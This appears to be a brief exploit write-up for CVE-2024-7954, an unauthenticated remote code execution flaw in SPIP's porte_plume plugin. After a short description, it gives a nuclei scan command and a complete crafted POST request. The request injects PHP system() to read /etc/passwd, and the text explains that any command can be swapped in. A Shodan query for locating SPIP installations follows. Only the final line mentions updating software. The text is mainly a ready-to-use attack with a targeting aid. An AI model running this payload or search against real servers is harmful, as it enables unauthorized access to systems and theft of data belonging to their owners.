RCE-CVE-2024-7954

Description

The porte_plume plugin, utilized by SPIP versions prior to 4.30-alpha2, 4.2.13, and 4.1.16, is susceptible to a critical arbitrary code execution (RCE) vulnerability. This flaw allows a remote, unauthenticated attacker to execute arbitrary PHP code as the SPIP user by crafting a specific HTTP request. The potential for exploitation is severe, enabling attackers to run malicious commands on the server, which could lead to unauthorized access, data breaches, or further system compromise.

Vulnerability Details

• Affected Software: SPIP (prior to versions 4.30-alpha2, 4.2.13, and 4.1.16)
• Type of Vulnerability: Remote Code Execution (RCE)
• Severity Level: Critical
• Exploitability: Remote and unauthenticated attackers can exploit this vulnerability.

Exploit

##Nuclei Scan

kali@Dell:~/nuclei-templates-main/http/cves/2024$ nuclei -l targets -t /home/kali/nuclei-templates-main/http/cves/2024/CVE-2024-7954.yaml

An example of a crafted HTTP request that can be used to exploit this vulnerability is as follows:

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}} -> IP
Content-Type: application/x-www-form-urlencoded

data=AA_[->URL<?php system('cat /etc/passwd'); ?>]_BB

Explanation of the Exploit:

• The POST request is directed to the porte_plume_previsu action of SPIP's index.php file.
• The data parameter contains a payload that leverages PHP's system() function to execute a command (in this case, cat /etc/passwd), which reads the contents of the password file.
• By changing the command within the system() function, an attacker could execute any PHP code on the server, leading to severe consequences.

Shodan Dork

To identify potentially vulnerable SPIP installations, the following Shodan search query can be used:

app="SPIP"

This vulnerability underscores the importance of keeping software up to date and implementing robust security measures to protect against exploitation.